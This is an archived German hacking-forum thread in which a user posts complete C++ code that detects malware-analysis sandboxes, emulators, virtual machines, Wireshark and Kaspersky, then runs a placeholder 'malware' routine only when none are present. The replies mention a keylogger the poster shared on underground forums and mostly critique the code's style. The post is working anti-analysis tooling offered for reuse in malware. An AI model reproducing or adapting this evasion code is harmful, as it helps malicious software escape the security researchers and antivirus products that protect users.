PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [C++] Anti Anubis, Threat Expert, Norman etc.



Beaving
27.04.2009, 13:53
Joa, biete hier eine simples Snippet für euch an, dass ich vor nen paar Wochen geschrieben hatte.

Es unterstützt einige Sandboxies/Emus, wie Anubis, Threat Expert, Sandbox, JoeBox, Norman, WireShark, Kaspersky, iDEFENSE sysAnalyzer, Sunbelt, Sandboxie, Virtual PC, Virtual Box und andere.



#include <iostream>
#include <string>
#include <Windows.h>
#include <tlhelp32.h>
#include <TCHAR.H>
#include <dir.h>

using namespace std;

int detected = 0;

DWORD GetModulePath(HINSTANCE hInst,LPTSTR pszBuffer,DWORD dwSize)
{
DWORD dwLength = GetModuleFileName(hInst,pszBuffer,dwSize);

if(dwLength)
{

while(dwLength && pszBuffer[ dwLength ] != _T('\\'))
{
dwLength--;
}

if(dwLength)
{
pszBuffer[ dwLength + 1 ] = _T('\000');
}
}

return dwLength;
}

BOOL IsProcessRunning(const string szExeName)
{
PROCESSENTRY32 pce = {sizeof(PROCESSENTRY32)};
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);

if(Process32First(hSnapshot, &pce))
{

do
{

if(!strcmp((const char*)pce.szExeFile, (const char*)szExeName.c_str()))
{
return 1;
}

}while( Process32Next(hSnapshot, &pce) );

}

return 0;
}

BOOL IsUsername(const string comp)
{
char username[30];
DWORD nSize;

nSize = sizeof(username);
GetUserName(username, &nSize);

if(strcmp(username,comp.c_str()) == 0)
{
return 1;
}
return 0;
}

BOOL IsFileInFolder(const char* filefold)
{
char buff[255];

GetModuleFileName(0,buff,255);

if (strstr(buff, filefold))
{
return 1;
}

return 0;

}

BOOL IsFolderExist(const string comp)
{

if(chdir(comp.c_str()) == 0)
{
return 1;
}

return 0;
}

BOOL IsAnubis()
{

if (IsFileInFolder("C:\\InsideTm\\") == 1)
{
detected = 1;
return 1;
}

return 0;
}

BOOL IsTE()
{

if(IsUsername("username") == 1)
{
detected = 1;
return 1;
}

return 0;
}

BOOL IsSandbox()
{

if(IsUsername("user") == 1)
{
detected = 1;
return 1;
}

return 0;
}

BOOL IsJB()
{

if(IsProcessRunning("joeboxserver.exe") == 1 || IsProcessRunning("joeboxcontrol.exe") == 1)
{
detected = 1;
return 1;
}

return 0;
}

BOOL IsNorman()
{

if(IsUsername("currentuser") == 1)
{
detected = 1;
return 1;
}

return 0;
}

BOOL IsWireShark()
{

if(IsProcessRunning("wireshark.exe") == 1)
{
detected = 1;
return 1;
}

return 0;
}

BOOL IsKaspersky()
{

if(IsProcessRunning("avp.exe") == 1)
{
detected = 1;
return 1;
}

return 0;
}


BOOL IsID() //Sunbelt & Sandboxie included
{

if(GetModuleHandle("api_log.dll") || GetModuleHandle("dir_watch.dll"))
{
detected = 1;
return 1;
}

else if(IsProcessRunning("sniff_hit.exe") == 1 || IsProcessRunning("sysAnalyzer.exe") == 1)
{
detected = 1;
return 1;
}

return 0;
}

BOOL IsSunbelt()
{

if(GetModuleHandle("pstorec.dll"))
{
detected = 1;
return 1;
}

else if(IsFolderExist("C:\\analysis") == 1)
{
detected = 1;
return 1;
}

return 0;
}

BOOL IsSandboxie()
{

if(GetModuleHandle("SbieDll.dll"))
{
detected = 1;
return 1;
}

return 0;
}

BOOL IsVPC() //steve10120
{
HMODULE dll = LoadLibrary("C:\\vmcheck.dll");

if(dll == NULL)
{
return 0;
}

BOOL (WINAPI *fnIsRunningInsideVirtualMachine)() = (BOOL (WINAPI *)()) GetProcAddress(dll, "IsRunningInsideVirtualMachine");

BOOL retValue = FALSE;

if(fnIsRunningInsideVirtualMachine != NULL)
{
retValue = fnIsRunningInsideVirtualMachine();
FreeLibrary(dll);
detected = 1;
return 1;
}

FreeLibrary(dll);

return 0;
}

BOOL IsOther() //carb0n
{
unsigned char bBuffer;
unsigned long aCreateProcess = (unsigned long)GetProcAddress( GetModuleHandle( "KERNEL32.dll" ), "CreateProcessA" );

ReadProcessMemory( GetCurrentProcess( ), (void *) aCreateProcess, &bBuffer, 1, 0 );

if( bBuffer == 0xE9 )
{
detected = 1;
return 1;
}

return 0;
}

BOOL IsEmu() //Noble & ChainCoder
{
DWORD countit, countit2;

countit = GetTickCount();
Sleep(500);
countit2 = GetTickCount();

if ((countit2 - countit) < 500)
{
detected = 1;
return 1;
}

return 0;
}

BOOL IsVB()
{

if(IsProcessRunning("VBoxService.exe") == 1)
{
detected = 1;
return 1;
}

return 0;
}


BOOL malware()
{
//some malware code
cout << "MALWARE" << endl;

return 0;
}


BOOL IsAll()
{
if(IsAnubis() == 1)
{
cout << "Anubis detected..." << endl;
}

else if(IsTE() == 1)
{
cout << "Threat Expert detected..." << endl;
}

else if(IsSandbox() == 1)
{
cout << "Sandbox detected..." << endl;
}

else if(IsJB() == 1)
{
cout << "JoeBox detected..." << endl;
}

else if(IsNorman() == 1)
{
cout << "Norman detected" << endl;
}

else if(IsWireShark() == 1)
{
cout << "WireShark detected" << endl;
}

else if(IsKaspersky() == 1)
{
cout << "Kaspersky detected" << endl;
}

else if(IsID() == 1)
{
cout << "iDEFENSE sysAnalyzer detected" << endl;
}

else if(IsSunbelt() == 1)
{
cout << "Sunbelt detected" << endl;
}

else if(IsSandboxie() == 1)
{
cout << "Sandboxie detected" << endl;
}

else if(IsVPC() == 1)
{
cout << "Virtual PC detected" << endl;
}

else if(IsVB() == 1)
{
cout << "Virtual Box detected" << endl;
}

else if(IsOther() == 1 || IsEmu() == 1)
{
cout << "Some others detected" << endl;
}


if(detected != 0)
{
cout << "Detected some Emulators/sandboxs, exiting...\a" << endl;

return 1;
}

cout << "Nothing found, executing malware..." << endl;
malware();

return 0;
}

int main()
{
IsAll();
system("PAUSE");
return 0;
}

TRX
27.04.2009, 18:00
Bist du dir sicher das du den Code geschrieben hast??
Bin mir ziemlich sicher das ich den schon mal in nem C++ Keylogger gesehen hab...
Naja wenigstens hast du in ein bisschen optimiert..


Gruß
TRX

EDIT: Is aber trotz allem ein ziemlich guter Code, egal wer ihn geschrieben hat.

Beaving
27.04.2009, 18:40
Ich bin mir sicher das ich den gesamte Code, außer 2-3 Stellen die ich kommentiert habe, selber geschrieben habe.

Ich habe diesen Code hier (http://www.opensc.ws/c-c/5816-c-anti-anubis-wireshark-norman-etc.html), hier (http://hackhound.org/forum/index.php?topic=12662.0) & hier (http://1337-crew.to/smf/codeschnipsel-238/(b)-(cc-code)-anti-anubis-wireshark-norman-etc/) geposted.

Wahrscheinlich meinste diesen Keylogger hier (http://www.opensc.ws/c-c/5843-c-fud-basic-keylogger.html) den ich mit dem Anti- geposted hab ^^

l0dsb
28.04.2009, 12:37
Guter Code? Mir fehlen da so einige Abfragen von Rückgabewerten und die Abhängigkeit zur globalen Variable könnte man lieber entfernen, etwas unschön für einen Header.

Beaving
28.04.2009, 13:15
Das mit der globalen Variable hätte man entfernen können, man hätte auch noch bool's nehmen können; generell noch etwas optimieren können.

Aber ist ja nurn "kleiner" Snippet ;P

TRX
28.04.2009, 17:05
@Beaving
Ja hast recht, ich wusste doch ich den Code schon mal gesehen habe^^

Gruß
TRX

P.S. Sorry wenn ich dich blöd angemacht haben sollte^^

l0dsb
28.04.2009, 19:12
Beaving, war ja auch nur ein kleiner Verbesserungsvorschlag. Wobei das doch eh wieder eins zu eins kopiert wird...

Beaving
29.04.2009, 13:06
^^, jo, ich danke dir natürlich auch für den Vorschlag.

Ob das eins zu eins kopiert wird, ist mir relativ egal, ich meine sie betrügen sich selbst, "wenn" sie denn lernen wollen, außer die Leute, die nur verkaufen...

GregorSamsa
29.04.2009, 13:33
Netter Code!